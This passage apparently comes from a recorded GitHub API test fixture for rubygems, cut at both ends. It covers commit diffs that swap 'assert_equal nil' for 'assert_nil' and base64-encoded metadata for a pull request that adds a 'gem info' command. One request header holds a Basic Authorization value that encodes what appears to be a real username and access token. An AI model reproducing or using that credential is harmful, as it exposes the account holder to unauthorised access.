test_prerelease_equals"},{"sha":"1c559c345bd1e139b0cbd68799c2e4b74c3c82cc","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -1132,7 +1132,7 @@ def test_handles_private_null_type\n \n data = Marshal.load Gem.inflate(Gem.read_binary(path))\n \n- assert_equal nil, data.rubyforge_project\n+ assert_nil data.rubyforge_project\n end\n \n def test_emits_zulu_timestamps_properly\n@@ -1153,7 +1153,7 @@ def test_initialize\n assert_equal \"blah\", spec.name\n assert_equal \"1.3.5\", spec.version.to_s\n assert_equal Gem::Platform::RUBY, spec.platform\n- assert_equal nil, spec.summary\n+ assert_nil spec.summary\n assert_equal [], spec.files\n \n assert_equal [], spec.test_files\n@@ -1330,31 +1330,31 @@ def test_bindir_equals_nil\n @a2.bindir = nil\n @a2.executable = ''app''\n \n- assert_equal nil, @a2.bindir\n+ assert_nil @a2.bindir\n assert_equal %w[app lib/code.rb].sort, @a2.files\n end\n \n def test_extensions_equals_nil\n @a2.instance_variable_set(:@extensions, nil)\n- assert_equal nil, @a2.instance_variable_get(:@extensions)\n+ assert_nil @a2.instance_variable_get(:@extensions)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_test_files_equals_nil\n @a2.instance_variable_set(:@test_files, nil)\n- assert_equal nil, @a2.instance_variable_get(:@test_files)\n+ assert_nil @a2.instance_variable_get(:@test_files)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_executables_equals_nil\n @a2.instance_variable_set(:@executables, nil)\n- assert_equal nil, @a2.instance_variable_get(:@executables)\n+ assert_nil @a2.instance_variable_get(:@executables)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_extra_rdoc_files_equals_nil\n @a2.instance_variable_set(:@extra_rdoc_files, nil)\n- assert_equal nil, @a2.instance_variable_get(:@extra_rdoc_files)\n+ assert_nil @a2.instance_variable_get(:@extra_rdoc_files)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n@@ -2206,7 +2206,7 @@ def test_requirements\n end\n \n def test_allowed_push_host\n- assert_equal nil, @a1.metadata[''allowed_push_host'']\n+ assert_nil @a1.metadata[''allowed_push_host'']\n assert_equal ''https://privategemserver.com'', @a3.metadata[''allowed_push_host'']\n end\n \n@@ -3534,7 +3534,7 @@ def test_find_inactive_by_path\n \n assert_equal a, Gem::Specification.find_inactive_by_path(''foo'')\n a.activate\n- assert_equal nil, Gem::Specification.find_inactive_by_path(''foo'')\n+ assert_nil Gem::Specification.find_inactive_by_path(''foo'')\n end\n \n def test_load_default_gem"},{"sha":"7b518876fe8f5a8512acbfef1309d9661fc82f45","filename":"test/rubygems/test_gem_stream_ui.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_stream_ui.rb","raw_url":"https://github.com/rubygems/rubygems/raw/814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0/test/rubygems/test_gem_stream_ui.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stream_ui.rb?ref=814ea7a4a0098966dd7ecd2d9cad3fbf1615f2e0","patch":"@@ -55,7 +55,7 @@ def test_ask_no_tty\n \n Timeout.timeout(0.1) do\n answer = @sui.ask(\"what is your favorite color?\")\n- assert_equal nil, answer\n+ assert_nil answer\n end\n end\n \n@@ -79,7 +79,7 @@ def test_ask_for_password_no_tty\n \n Timeout.timeout(0.1) do\n answer = @sui.ask_for_password(\"what is the airspeed velocity of an unladen swallow?\")\n- assert_equal nil, answer\n+ assert_nil answer\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ead1cd2f7ed6529404b9ad883963b5066900e1d5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4564' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e17024edb03b9eb8e987c27af2676bf3" Last-Modified: - Wed, 20 Dec 2017 18:57:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045491' X-Github-Request-Id: - A1C6:4D97:90356E:1C46EFA:5A50E460 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiJlYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTIwVDE4OjU3OjU5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0yMFQxODo1Nzo1OVoifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIwMjMgLSBjb2xieS1zd2FuZGFsZTpnZW0taW5mbywgcj1pbmRpcmVjdFxuXG5hZGQgaW5mbyBjb21tYW5kIHRvIHByaW50IGluZm9ybWF0aW9uIGFib3V0IGFuIGluc3RhbGxlZCBnZW1cblxuIyBEZXNjcmlwdGlvbjpcblxuUXVpZXQgb2Z0ZW4gaSB3YW50IHRvIGtub3cgc29tZSBpbmZvcm1hdGlvbiBhYm91dCBhIGdlbSBpbnN0YWxsZWQgaW4gbXkgcnVieSBlbnZpcm9ubWVudCBzdWNoIGFzIHdoYXQgdGhlIGdlbSBkb2VzIGFuZCBhIGxpbmsgdG8gZ2V0IG1vcmUgaW5mb3JtYXRpb24uIEN1cnJlbnRseSBpIG5lZWQgdG8gZmluZCB0aGlzIGluZm9ybWF0aW9uIHZpYSBSdWJ5R2Vtcy5vcmcgd2hpY2ggaXMgYm90aCBpcyB0YXhpbmcgYW5kIHVubmVjZXNzYXJ5IGZvciB0aGUgdGhlIHVzZXIuXG5cblRoZXJlIGlzIGN1cnJlbnRseSBhIGBzcGVjaWZpY2F0aW9uYCBjb21tYW5kIHdoaWNoIHByaW50cyB0aGUgc3BlY2lmaWNhdGlvbiBpbiBZQU1MIHRvIHRoZSB1c2VyIGJ1dCBpIGZpbmQgdGhpcyBhcyBub3QgdmVyeSB1c2VyIGZyaWVuZGx5LlxuXG5UaGlzIFBSIGludHJvZHVjZXMgdGhlIGBpbmZvYCBjb21tYW5kIHdoaWNoIHByaW50cyBhIHNldCBvZiBiYXNpYyBpbmZvcm1hdGlvbiBhYm91dCB0aGUgZ2l2ZW4gZ2VtLCBzdWNoIGFzIHRoZSBob21lcGFnZSwgcGF0aCBhbmQgdGhlIHN1bW1hcnkgaW4gYSBzaW1wbGUgYW5kIFVJIGZyaWVuZGx5IG1hbm5lcjpcblxuYGBgXG4kIGdlbSBpbmZvIHJhY2tcbiAgKiByYWNrICgyLjAuMylcbiAgICAgICAgU3VtbWFyeTogYSBtb2R1bGFyIFJ1Ynkgd2Vic2VydmVyIGludGVyZmFjZVxuICAgICAgICBIb21lcGFnZTogaHR0cDovL3JhY2suZ2l0aHViLmlvL1xuICAgICAgICBQYXRoOiAvVXNlcnMvYy8uZ2VtL3J1YnkvMi4zLjEvZ2Vtcy9yYWNrLTIuMC4zXG5gYGBcblRoaXMgYWxsb3dzIG1lIHRvIGdldCBhIHF1aWNrIHNlbnNlIG9mIHdoYXQgdGhlIGdlbSBkb2VzIGFuZCBhIGxpbmsgdGhhdCBpIGNhbiBmb2xsb3cgZm9yIG1vcmUgaW5mb3JtYXRpb24gaWYgaSB3YW50ZWQgdG8uXG5cbk5vdGU6IFRoaXMgY29tbWFuZCBpcyBuZWFybHkgdGhlIHNhbWUgdGhpbmcgYXMgYGJ1bmRsZSBpbmZvYCB0aGF0IGkgYWxzbyBpbXBsZW1lbnRlZFxuXG5UaGUgYGluZm9gIGNvbW1hbmQgYWxzbyBhbGxvd3Mgc3BlY2lmeWluZyBhIHZlcnNpb24sIHN1Y2ggYXM6XG5cbmBgYFxuJCBnZW0gaW5mbyByYWNrIC12IDEuNi44XG4gICogcmFjayAoMS42LjgpXG4gICAgICAgIFN1bW1hcnk6IGEgbW9kdWxhciBSdWJ5IHdlYnNlcnZlciBpbnRlcmZhY2VcbiAgICAgICAgSG9tZXBhZ2U6IGh0dHA6Ly9yYWNrLmdpdGh1Yi5pby9cbiAgICAgICAgUGF0aDogL1VzZXJzL2MvLmdlbS9ydWJ5LzIuMy4xL2dlbXMvcmFjay0xLjYuOFxuYGBgXG5cbkl0IHdpbGwgYWxzbyBub3RlIGlmIHRoZSBnZW0gaXMgYSBkZWZhdWx0IGdlbSBhcyB3ZWxsXG5cbmBgYFxu4oC6IGdlbSBpbmZvIGpzb25cbiAgKiBqc29uICgxLjguMylcbiAgICAgICAgU3VtbWFyeTogVGhpcyBqc29uIGlzIGJ1bmRsZWQgd2l0aCBSdWJ5XG4gICAgICAgIFBhdGg6IC9Vc2Vycy9jLy5ydWJpZXMvcnVieS0yLjMuMS9saWIvcnVieS9nZW1zLzIuMy4wL2dlbXMvanNvbi0xLjguM1xuICAgICAgICBEZWZhdWx0IEdlbTogeWVzXG5gYGBcbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6IjNlMTI5MzBiZDcwYjBjNzdjZTA0NTY3OTA4OTUyMDQ3ZjE1N2ZlMTkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8zZTEyOTMwYmQ3MGIwYzc3Y2UwNDU2NzkwODk1MjA0N2YxNTdmZTE5In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImViOGUxNTNmYTE0NTE4YmNmZDhhNTk0ODk2NmFjM2Y0MjMxZDc3MzMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWI4ZTE1M2ZhMTQ1MThiY2ZkOGE1OTQ4OTY2YWMzZjQyMzFkNzczMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lYjhlMTUzZmExNDUxOGJjZmQ4YTU5NDg5NjZhYzNmNDIzMWQ3NzMzIn0seyJzaGEiOiIzYTc0NDg5M2I0MjE3N2ZhNDRhZjM0ZDg4Zjc3OTZkYWJhNWZlMDY1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzNhNzQ0ODkzYjQyMTc3ZmE0NGFmMzRkODhmNzc5NmRhYmE1ZmUwNjUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvM2E3NDQ4OTNiNDIxNzdmYTQ0YWYzNGQ4OGY3Nzk2ZGFiYTVmZTA2NSJ9XSwic3RhdHMiOnsidG90YWwiOjgwLCJhZGRpdGlvbnMiOjgwLCJkZWxldGlvbnMiOjB9LCJmaWxlcyI6W3sic2hhIjoiOTUxNTNmMWI2NjM1MjZlNGJkOGVjMDlhNzFlZjg1NzYwMDk5OTA4YSIsImZpbGVuYW1lIjoiTWFuaWZlc3QudHh0Iiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjIsImRlbGV0aW9ucyI6MCwiY2hhbmdlcyI6MiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1L01hbmlmZXN0LnR4dCIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUvTWFuaWZlc3QudHh0IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy9NYW5pZmVzdC50eHQ/cmVmPWVhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUiLCJwYXRjaCI6IkBAIC0yODEsNiArMjgxLDcgQEAgbGliL3J1YnlnZW1zL2NvbW1hbmRzL2Vudmlyb25tZW50X2NvbW1hbmQucmJcbiBsaWIvcnVieWdlbXMvY29tbWFuZHMvZmV0Y2hfY29tbWFuZC5yYlxuIGxpYi9ydWJ5Z2Vtcy9jb21tYW5kcy9nZW5lcmF0ZV9pbmRleF9jb21tYW5kLnJiXG4gbGliL3J1YnlnZW1zL2NvbW1hbmRzL2hlbHBfY29tbWFuZC5yYlxuK2xpYi9ydWJ5Z2Vtcy9jb21tYW5kcy9pbmZvX2NvbW1hbmQucmJcbiBsaWIvcnVieWdlbXMvY29tbWFuZHMvaW5zdGFsbF9jb21tYW5kLnJiXG4gbGliL3J1YnlnZW1zL2NvbW1hbmRzL2xpc3RfY29tbWFuZC5yYlxuIGxpYi9ydWJ5Z2Vtcy9jb21tYW5kcy9sb2NrX2NvbW1hbmQucmJcbkBAIC01MTksNiArNTIwLDcgQEAgdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19lbnZpcm9ubWVudF9jb21tYW5kLnJiXG4gdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19mZXRjaF9jb21tYW5kLnJiXG4gdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19nZW5lcmF0ZV9pbmRleF9jb21tYW5kLnJiXG4gdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19oZWxwX2NvbW1hbmQucmJcbit0ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2luZm9fY29tbWFuZC5yYlxuIHRlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfaW5zdGFsbF9jb21tYW5kLnJiXG4gdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19saXN0X2NvbW1hbmQucmJcbiB0ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2xvY2tfY29tbWFuZC5yYiJ9LHsic2hhIjoiZTIyZGM1ZGViMzlkYTc5NzVhYmRlNzRhN2E3NTFhNmNjZDg0ZjU1NyIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2NvbW1hbmRfbWFuYWdlci5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoxLCJkZWxldGlvbnMiOjAsImNoYW5nZXMiOjEsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNS9saWIvcnVieWdlbXMvY29tbWFuZF9tYW5hZ2VyLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNS9saWIvcnVieWdlbXMvY29tbWFuZF9tYW5hZ2VyLnJiIiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy9saWIvcnVieWdlbXMvY29tbWFuZF9tYW5hZ2VyLnJiP3JlZj1lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1IiwicGF0Y2giOiJAQCAtNDUsNiArNDUsNyBAQCBjbGFzcyBHZW06OkNvbW1hbmRNYW5hZ2VyXG4gICAgIDpmZXRjaCxcbiAgICAgOmdlbmVyYXRlX2luZGV4LFxuICAgICA6aGVscCxcbisgICAgOmluZm8sXG4gICAgIDppbnN0YWxsLFxuICAgICA6bGlzdCxcbiAgICAgOmxvY2ssIn0seyJzaGEiOiI4ZDk2MTFhOTU3NGRjNjQyNmU5ZjFhZjAzZjk4YTUxODdjMWUyNzBmIiwiZmlsZW5hbWUiOiJsaWIvcnVieWdlbXMvY29tbWFuZHMvaW5mb19jb21tYW5kLnJiIiwic3RhdHVzIjoiYWRkZWQiLCJhZGRpdGlvbnMiOjMzLCJkZWxldGlvbnMiOjAsImNoYW5nZXMiOjMzLCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2luZm9fY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2VhZDFjZDJmN2VkNjUyOTQwNGI5YWQ4ODM5NjNiNTA2NjkwMGUxZDUvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2luZm9fY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvbGliL3J1YnlnZW1zL2NvbW1hbmRzL2luZm9fY29tbWFuZC5yYj9yZWY9ZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNSIsInBhdGNoIjoiQEAgLTAsMCArMSwzMyBAQFxuKyMgZnJvemVuX3N0cmluZ19saXRlcmFsOiB0cnVlXG4rXG4rcmVxdWlyZSAncnVieWdlbXMvY29tbWFuZCdcbityZXF1aXJlICdydWJ5Z2Vtcy9jb21tYW5kcy9xdWVyeV9jb21tYW5kJ1xuK1xuK2NsYXNzIEdlbTo6Q29tbWFuZHM6OkluZm9Db21tYW5kIDwgR2VtOjpDb21tYW5kczo6UXVlcnlDb21tYW5kXG4rICBkZWYgaW5pdGlhbGl6ZVxuKyAgICBzdXBlciBcImluZm9cIiwgXCJTaG93IGluZm9ybWF0aW9uIGZvciB0aGUgZ2l2ZW4gZ2VtXCJcbitcbisgICAgcmVtb3ZlX29wdGlvbignLS1uYW1lLW1hdGNoZXMnKVxuKyAgICByZW1vdmVfb3B0aW9uKCctZCcpXG4rXG4rICAgIGRlZmF1bHRzWzpkZXRhaWxzXSA9IHRydWVcbisgICAgZGVmYXVsdHNbOmV4YWN0XSA9IHRydWVcbisgIGVuZFxuK1xuKyAgZGVmIGRlc2NyaXB0aW9uICMgOm5vZG9jOlxuKyAgICBcIkluZm8gcHJpbnRzIGluZm9ybWF0aW9uIGFib3V0IHRoZSBnZW0gc3VjaCBhcyBuYW1lLFwiXFxcbisgICAgXCIgZGVzY3JpcHRpb24sIHdlYnNpdGUsIGxpY2Vuc2UgYW5kIGluc3RhbGxlZCBwYXRoc1wiXG4rICBlbmRcbitcbisgIGRlZiB1c2FnZSAjIDpub2RvYzpcbisgICAgXCIje3Byb2dyYW1fbmFtZX0gR0VNTkFNRVwiXG4rICBlbmRcbitcbisgIGRlZiBhcmd1bWVudHMgIyA6bm9kb2M6XG4rICAgIFwiR0VNTkFNRSAgICAgICAgbmFtZSBvZiB0aGUgZ2VtIHRvIHByaW50IGluZm9ybWF0aW9uIGFib3V0XCJcbisgIGVuZFxuK1xuKyAgZGVmIGRlZmF1bHRzX3N0clxuKyAgICBcIi0tbG9jYWxcIlxuKyAgZW5kXG4rZW5kIn0seyJzaGEiOiI4M2IxOGM1MDM2NTNmNGM4ODQzZTViZmJlNmVkMjUxMjBmMjg1OTU2IiwiZmlsZW5hbWUiOiJ0ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2luZm9fY29tbWFuZC5yYiIsInN0YXR1cyI6ImFkZGVkIiwiYWRkaXRpb25zIjo0NCwiZGVsZXRpb25zIjowLCJjaGFuZ2VzIjo0NCwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9lYWQxY2QyZjdlZDY1Mjk0MDRiOWFkODgzOTYzYjUwNjY5MDBlMWQ1L3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfaW5mb19jb21tYW5kLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZWFkMWNkMmY3ZWQ2NTI5NDA0YjlhZDg4Mzk2M2I1MDY2OTAwZTFkNS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX2luZm9fY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19pbm